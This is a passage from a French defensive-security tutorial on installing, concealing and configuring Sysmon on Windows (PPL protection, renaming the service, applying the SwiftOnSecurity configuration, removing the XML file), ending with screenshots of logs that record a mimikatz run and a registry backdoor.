<figure class="aligncenter size-full"><img decoding="async" width="776" height="183" src="media/4e423e25.windows-securite-sysmon64-service-stop.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-stop.png" alt="Tentative d'arrêt du service &quot;Sysmon64&quot; en tant qu'administrateur via le Gestionnaire des tâches." class="wp-image-77498" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-stop.png 776w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-stop-550x130.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-stop-150x35.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-stop-768x181.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-stop-50x12.png 50w" sizes="(max-width: 776px) 100vw, 776px" /><figcaption class="wp-element-caption">Tentative d'arrêt du service "<strong>Sysmon64</strong>" en tant qu'administrateur via le Gestionnaire des tâches.</figcaption></figure></div>


<p>Cela est dû à une protection mise en place par Windows sur ce service : le <strong>Protected Process</strong> <strong>Light</strong>. Cette protection est notamment chargée de vérifier l'intégrité du code pour s'assurer que seul le code "<strong>vérifié</strong>" et "<strong>de confiance</strong>" est chargé dans le processus protégé. Ainsi, il ne peut être pris pour cible d'une injection de code ou de DLL et personne ne peut toucher à ce processus  :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full is-resized"><img decoding="async" width="506" height="606" src="media/ac6bc6de.windows-securite-sysmon-protected_process.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-protected_process.png" alt="Vue de la protection PPL du processus &quot;Sysmon64.exe&quot; via &quot;ProcessHacker&quot;." class="wp-image-77970" style="width:506px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-protected_process.png 506w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-protected_process-125x150.png 125w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-protected_process-42x50.png 42w" sizes="(max-width: 506px) 100vw, 506px" /><figcaption class="wp-element-caption">Vue de la protection PPL du processus "<strong>Sysmon64.exe</strong>" via "<strong>ProcessHacker</strong>".</figcaption></figure></div>


<p>Grâce à cette protection, il sera plus difficile pour l'attaquant d'altérer le fonctionnement de ce processus en vue de mettre fin à la journalisation de ses actions.</p>



<p>Sysmon s'installe par défaut avec une configuration qui permet de journaliser certains évènements. Cette configuration par défaut peut être consultée via l'option "<em><strong>-s</strong></em>" :</p>



<pre class="wp-block-code"><code>.\Sysmon64.exe -s</code></pre>



<p>Voici le résultat attendu :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/364d645e.windows-securite-sysmon-default-configuration.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration.png"><img decoding="async" width="800" height="691" src="media/93500b75.windows-securite-sysmon-default-configuration-800x691.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-800x691.png" alt="Visualisation de la configuration par défaut de &quot;Sysmon&quot;." class="wp-image-77503" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-800x691.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-550x475.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-150x129.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-768x663.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-50x43.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration.png 1009w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Visualisation de la configuration par défaut de "<strong>Sysmon</strong>".</figcaption></figure></div>


<p>Comme vous pouvez le voir, il s'agit d'une configuration au format XML. Celle-ci permet de définir les évènements à journaliser, leur Event ID et leur contenu. Exemple avec la journalisation de la création d'un processus :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/6f60f2c5.windows-securite-sysmon-default-configuration-event1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event1.png"><img decoding="async" width="800" height="418" src="media/dc2d4776.windows-securite-sysmon-default-configuration-event1-800x418.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event1-800x418.png" alt="Configuration par défaut pour l'évènement &quot;1 - Create process&quot; de Sysmon." class="wp-image-77975" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event1-800x418.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event1-550x287.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event1-150x78.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event1-768x401.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event1-50x26.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event1-390x205.png 390w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event1.png 1104w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Configuration par défaut pour l'évènement "<strong>1 - Create process</strong>" de Sysmon.</figcaption></figure></div>


<p>Ici, nous voyons dans un premier temps la définition de l'event ID avec son nom et son ID ("<strong>1</strong>"). Les sections précédentes de cet article contiennent déjà un exemple d'évènement créé via cette règle, vous pourrez donc voir les champs déclarés par la configuration dans cet évènement. Par défaut, la journalisation de cet évènement est activée ("<strong>ruledefaut=include</strong>"). Ce qui n'est pas le cas de tous les évènements, exemple avec l'évènement "<strong>11 - Process Create</strong>" :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/3da274f2.windows-securite-sysmon-default-configuration-event11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event11.png"><img decoding="async" width="800" height="173" src="media/7f755a9c.indows-securite-sysmon-default-configuration-event11-800x173.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event11-800x173.png" alt="Configuration par défaut pour l'évènement &quot;11 - File create&quot; de Sysmon." class="wp-image-77976" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event11-800x173.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event11-550x119.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event11-150x32.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event11-768x166.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event11-50x11.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-default-configuration-event11.png 1110w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Configuration par défaut pour l'évènement "<strong>11 - File create</strong>" de Sysmon.</figcaption></figure></div>


<p>Ainsi, avec la configuration par défaut, vous ne constaterez aucun évènement avec l'ID 11 dans vos logs. Nous voyons ici qu'il faut savoir lire et comprendre cette configuration, au risque de ne pas être assez précis dans notre journalisation. </p>



<p>Pour visualiser les logs, ouvrez l'<strong>Observateur d'évènements</strong>, puis rendez-vous dans "<strong>Journaux des applications et des services</strong>" &gt; "<strong>Microsoft"</strong> &gt; "<strong>Windows</strong>" &gt; "<strong>Sysmon</strong>".</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/5a15257d.windows-securite-sysmon-observateur.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-observateur.png"><img decoding="async" width="800" height="553" src="media/213c3009.windows-securite-sysmon-observateur-800x553.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-observateur-800x553.png" alt="Accès aux journaux Sysmon dans l'observateur d'évènement Windows." class="wp-image-77926" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-observateur-800x553.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-observateur-550x380.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-observateur-150x104.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-observateur-768x531.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-observateur-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-observateur-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-observateur-130x90.png 130w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-observateur.png 1007w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Accès aux journaux Sysmon dans l'observateur d'évènement Windows.</figcaption></figure></div>


<p>En fonction de la configuration en place (pour l'instant, celle par défaut), vous verrez dès à présent différents évènements journalisés.</p>



<h3 class="wp-block-heading">B. Installation discrète de Sysmon</h3>



<p>Les attaquants les plus avancés vont toujours commencer par<strong> regarder quels sont les composants de sécurité en place</strong> sur un système avant de tenter d'aller plus loin dans leur compromission. Il s'agit d'une phase de prise d'information très classique, par exemple :</p>



<ul>
<li><strong>Est-ce qu'un EPP (<em>Endpoint Protection</em>) est en place </strong>? Ils peuvent pour cela regarder la liste des processus en cours d'exécution à la recherche de nom d'agents EPP connus (Trellix, Symantec, Sophos, etc.)</li>



<li>Est-ce que <strong>Microsoft Defender est actif </strong>? Si oui, quelle est sa configuration ? Contient-elle des exclusions intéressantes ? Sa base antivirale est-elle à jour ?</li>



<li>Les <strong>journaux d'évènements sont-ils envoyés sur un autre système </strong>? Ce qui serait le signal qu'un SIEM, voire un SOC peut enregistrer et voir son activité malveillante. L'attaquant peut pour cela regarder les processus et services actifs à la recherche d'agent de transmission de log connus, ou encore les connexions établies visant des ports connus, etc.</li>



<li>Est-ce que <strong>Sysmon est installé</strong> ? Quelle est sa configuration ? Contient-elle des exclusions intéressantes ?</li>
</ul>



<p>La réponse à ces questions permet à l'attaquant d'avoir <strong>une idée du niveau de <strong>discrétion</strong> dont il doit faire preuve</strong> pour ses prochaines opérations sur le système ou le réseau.</p>



<p>Cependant, Sysmon donne la possibilité aux administrateurs de <strong>dissimuler sa présence</strong>, notamment en modifiant le nom du driver et du service lorsqu'il s'exécute. Par défaut, comme nous l'avons vu, nous pouvons voir un service "<strong>Sysmon64</strong>" actif dans la liste des services en cours d'exécution :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="338" src="media/f8695510.windows-securite-sysmon-gestionnaire-tache-800x338.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-gestionnaire-tache-800x338.png" alt="VIsualisation du service &quot;Sysmon64&quot; dans le gestionnaire des tâches." class="wp-image-77927" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-gestionnaire-tache-800x339.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-gestionnaire-tache-550x232.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-gestionnaire-tache-150x63.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-gestionnaire-tache-768x324.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-gestionnaire-tache-50x21.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-gestionnaire-tache.png 803w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">VIsualisation du service "<strong>Sysmon64</strong>" dans le gestionnaire des tâches.</figcaption></figure></div>


<p>Lors de la phase d'installation, Sysmon propose l'option "<strong>-d</strong>" pour permettre de <strong>donner un nom arbitraire au driver Sysmon </strong>(limité à 8 caractères). Quant au nom du service, il est <strong>déterminé par le nom du binaire exécuté lors de l'installation</strong>. Il nous suffit donc de le modifier avant installation :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="534" height="258" src="media/8efd9abf.windows-securite-sysmon-installation-rename.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-installation-rename.png" alt="Renommage puis installé de &quot;Sysmon&quot; avec un nom de driver personnalisé." class="wp-image-77500" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-installation-rename.png 534w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-installation-rename-150x72.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-installation-rename-50x24.png 50w" sizes="(max-width: 534px) 100vw, 534px" /><figcaption class="wp-element-caption">Renommage puis installé de "<strong>Sysmon</strong>" avec un nom de driver personnalisé.</figcaption></figure></div>


<p>Une fois cette opération effectuée, il sera plus difficile pour l'attaquant de détecter la présence de Sysmon sur le système :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="722" height="174" src="media/d80df8e4.windows-securite-sysmon64-service-rename.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-rename.png" alt="Présence du service &quot;Sysmon&quot; renommé dans le Gestionnaire des tâches." class="wp-image-77499" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-rename.png 722w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-rename-550x133.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-rename-150x36.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon64-service-rename-50x12.png 50w" sizes="(max-width: 722px) 100vw, 722px" /><figcaption class="wp-element-caption">Présence du service "<strong>Sysmon</strong>" renommé dans le Gestionnaire des tâches.</figcaption></figure></div>


<p>Sur l'image ci-dessus, le processus Sysmon apparait bien comme "<strong>ITCProc</strong>". Dès lors, pour gérer le service Sysmon et par exemple, récupérer sa configuration actuelle, il faudra utiliser le binaire nommé "<strong>ITCProc.exe</strong>", l'utilisation de "<strong>Sysmon64.exe</strong>" ne fonctionnera plus.</p>



<p>Attention, cette méthode est une dissimulation et il existe d'autres moyens de détecter la présence du driver Sysmon (notamment via son <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/load-order-groups-and-altitudes-for-minifilter-drivers#about-altitudes" target="_blank" rel="noopener nofollow" title="altitude identifier">altitude identifier</a>).</p>



<h2 class="wp-block-heading">V. Configuration de Sysmon</h2>



<h3 class="wp-block-heading">A. Récupération et étude d'une configuration XML Sysmon</h3>



<p>À présent, nous allons configurer Sysmon pour qu'il journalise les évènements qui nous intéressent. La configuration par défaut est un bon départ, mais vous allez voir qu'il est possible d'aller beaucoup plus loin assez simplement.</p>



<p>Nous allons notamment nous baser sur des <strong>configurations connues et éprouvées créées par la communauté de la cybersécurité</strong>. La configuration la plus connue est celle proposée par SwiftOnSecurity, consultable et téléchargeable ici : <a href="https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml" target="_blank" rel="noopener nofollow" title="">Github - SwiftOnSecurity</a> :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/c10ffba1.windows-securite-sysmon-configuration-switfonsecurity.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity.png"><img decoding="async" width="800" height="471" src="media/01be1811.indows-securite-sysmon-configuration-switfonsecurity-800x471.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-800x471.png" alt="Extrait de la configuration Sysmon proposée par &quot;SwitfOnSecurity&quot;." class="wp-image-77987" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-800x471.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-550x324.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-150x88.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-768x452.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-50x29.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity.png 1216w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Extrait de la configuration Sysmon proposée par "<strong>SwitfOnSecurity</strong>".</figcaption></figure></div>


<p>Cette configuration comporte plusieurs intérêts :</p>



<ul>
<li>Elle est <strong>éprouvée par la communauté</strong> et sa pertinence est reconnue. Vous pouvez notamment jeter un œil à son <a href="https://github.com/SwiftOnSecurity/sysmon-config/commits/master/sysmonconfig-export.xml" target="_blank" rel="noopener nofollow" title="historique de modification Github">historique de modification Github</a>.</li>



<li>Elle est<strong> documentée</strong>, même si la lecture de son contenu peut être difficile à cause du format XML, <strong>elle contient différents commentaires</strong> permettant de comprendre ses principales sections, exclusions</li>



<li>Elle est <strong>bien structurée</strong>, ce qui permet une compréhension et une modification aisée. Elle peut ainsi servir de base à une configuration propre à vos besoins et environnements</li>



<li>Elle <strong>contient des cas d'exclusions permettant d'éliminer les faux positifs "classiques"</strong> sur les OS Windows, facilitant ainsi l'exploitation des journaux créés par Sysmon.</li>



<li>Elle <strong>apporte des éléments de contexte supplémentaires sur chaque Event ID</strong> tels que les TTP du MITRE relatif à une action malveillante journalisée.</li>
</ul>



<p>Bref, utiliser cette configuration apporte une réelle plus-value par rapport à celle par défaut et un gain de temps qui évite d'avoir à concevoir sa propre configuration XML, avec les difficultés que le format et la complexité des <em>uses-case</em> apportent. Avant de l'appliquer, je vous recommande tout de même <strong>de finir la lecture de cet article, puis de lire en détail le contenu de la configuration XML</strong>, afin que vous sachiez exactement ce qui sera journalisé et ce qui sera exclu de la journalisation.</p>



<h3 class="wp-block-heading">B. Application d'une nouvelle configuration Sysmon</h3>



<p>Il nous suffit donc de télécharger cette configuration XML puis de l'appliquer à Sysmon, nous pouvons utiliser l'option "<strong>-c</strong>" :</p>



<pre class="wp-block-code"><code>.\Sysmon64.exe -c .\sysmonconfig-export.xml</code></pre>



<p>Voici la sortie attendue :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="208" src="media/e834079f.windows-securite-sysmon-configuration-xml-800x208.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-xml-800x208.png" alt="Ajout d'une nouvelle configuration à &quot;Sysmon&quot;." class="wp-image-77501" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-xml-800x208.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-xml-550x143.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-xml-150x39.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-xml-768x200.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-xml-50x13.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-xml.png 854w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Ajout d'une nouvelle configuration à "<strong>Sysmon</strong>".</figcaption></figure></div>


<p>Pour vérifier que notre configuration est en place, nous pouvons utiliser l'option "<strong>-c</strong>" de "<strong>Sysmon</strong>" :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><a href="media/7dda0be7.windows-securite-sysmon-configuration-switfonsecurity-schema.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-schema.png"><img decoding="async" width="800" height="398" src="media/f6a7ac9e.securite-sysmon-configuration-switfonsecurity-schema-800x398.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-schema-800x398.png" alt="Affichage de la configuration SwiftOnSecurity importée dans Sysmon." class="wp-image-77992" style="width:794px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-schema-800x398.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-schema-550x274.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-schema-150x75.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-schema-768x382.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-schema-50x25.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-configuration-switfonsecurity-schema.png 1135w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Affichage de la configuration SwiftOnSecurity importée dans Sysmon.</figcaption></figure></div>


<p>Les éléments de configuration affichés sont à présent très différents et bien plus verbeux que la configuration par défaut de Sysmon.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>Nous pouvons à tout moment revenir à la configuration par défaut avec l'option "<strong>-c --</strong>".</p>
</blockquote>



<h3 class="wp-block-heading">C. Suppression du fichier de configuration</h3>



<p>Maintenant que nous avons appliqué notre configuration à Sysmon, il est très important de <strong>ne pas laisser le fichier de configuration persister sur le système</strong> sous la forme d'un fichier XML. Si l'attaquant accède à ce fichier, il aura la possibilité de <strong>comprendre en détail les règles de détection</strong> en place, incluant ses <strong>potentielles exclusions et exceptions</strong>. Ainsi, il pourra construire une attaque qui exploite ou contourne les règles configurées.</p>



<p>En cela, il est mieux de laisser l'attaquant dans le noir et de supprimer cette configuration du système. Attention à ne pas non plus la laisser accessible sur un partage réseau trop ouvert auquel l'attaquant pourrait avoir accès.</p>



<p>Même si le fichier de configuration initial a été supprimé, Sysmon aura toujours cette configuration à disposition. Lors de l'import d'une configuration avec l'option "<strong>-c</strong>", Sysmon transforme cette configuration XML en blob de données et le stocke dans une clé de registre :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/09ed2e63.windows-securite-sysmon-registry-configuration.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-registry-configuration.png"><img decoding="async" width="800" height="291" src="media/e6f2f9e6.windows-securite-sysmon-registry-configuration-800x291.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-registry-configuration-800x291.png" alt="Stockage de la configuration actuelle de Sysmon dans une clé de registre." class="wp-image-78383" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-registry-configuration-800x291.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-registry-configuration-550x200.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-registry-configuration-150x55.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-registry-configuration-768x279.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-registry-configuration-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-registry-configuration.png 907w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Stockage de la configuration actuelle de Sysmon dans une clé de registre.</figcaption></figure></div>


<p>Ce blob de donnée n'est pas facile à parser et l'attaquant aura du mal à récupérer en clair les règles et exclusions de la configuration à partir de celui-ci.</p>



<h2 class="wp-block-heading">VI. Exemple de journaux Sysmon</h2>



<p>Comme nous l'avons vu, les journaux d'évènements Sysmon sont stockés dans "<strong>Journaux des applications et des services</strong>" &gt; "<strong>Microsoft</strong>" &gt; "<strong>Windows</strong>" &gt; "<strong>Sysmon</strong>". Si je réitère mon activité malveillante initiale (celle qui n'avait pas été ou peu journalisée par les logs par défaut de Windows) : voici ce que je peux voir dans les logs Sysmon (cliquez sur l'image pour zoomer) :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/3ca0aec8.windows-securite-sysmon-logs-mimikatz.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-mimikatz.png"><img decoding="async" width="800" height="347" src="media/047a2d4e.windows-securite-sysmon-logs-mimikatz-800x347.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-mimikatz-800x347.png" alt="Journaux d'évènement Sysmon relatifs aux actions malveillantes effectuées sur le système." class="wp-image-78384" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-mimikatz-800x347.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-mimikatz-550x238.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-mimikatz-150x65.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-mimikatz-768x333.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-mimikatz-50x22.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-mimikatz.png 1416w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Journaux d'évènement Sysmon relatifs aux actions malveillantes effectuées sur le système.</figcaption></figure></div>


<p>Nous voyons clairement dans les logs : un event ID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?source=Sysmon&amp;eventID=1" target="_blank" rel="noopener" title="1 - Process Create">1 - Process Create</a>, un event ID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?source=Sysmon&amp;eventID=13" target="_blank" rel="noopener" title="13 : Registry value">13 - Registry value set</a> et and event ID <a href="https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?source=Sysmon&amp;eventID=3" target="_blank" rel="noopener" title="1 - Process Create">3 : Network Connecion detected</a>. Ce qui <strong>correspond et retrace exactement les activités malveillantes réalisées</strong> sur le système. Dans la capture ci-dessus, nous avons les détails de l'exécution de "<strong>mimikatz64.exe</strong>", déjà exposé précédemment dans cet article. On peut noter la présence de nombreuses informations, dont le hash MD5 du binaire, qui ne changera pas en fonction du nom qui lui est donné (bien que des méthodes simples permettent de modifier ce hash pour qu'il ne colle plus aux signatures classiques).</p>



<ul>
<li>Pour en savoir plus sur ce qu'est un hash MD5, je vous oriente vers notre article : <a href="https://www.it-connect.fr/gestion-dempreinte-numerique-sur-linux/" target="_blank" rel="noopener" title="Gestion d’empreinte numérique sur Linux">Gestion d’empreinte numérique sur Linux</a></li>
</ul>



<p>Nous pouvons également regarder le contenu de l'évènement relatif à l'ajout d'une valeur dans une clé de registre : </p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><a href="media/14db5beb.windows-securite-sysmon-logs-registryadd.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd.png"><img decoding="async" width="800" height="302" src="media/2ca2b3f0.windows-securite-sysmon-logs-registryadd-800x302.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-800x302.png" alt="Evènement Sysmon 13, relatif au paramétrage d'une valeur dans une clé de registre (mise en place d'une backdoor par l'attaquant)." class="wp-image-78386" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-800x302.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-550x208.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-150x57.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-768x290.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd-50x19.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/windows-securite-sysmon-logs-registryadd.png 852w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption class="wp-element-caption">Evènement Sysmon 13, relatif au paramétrage d'une valeur dans une clé de registre (mise en place d'une backdoor par l'attaquant).</figcaption></figure></div>


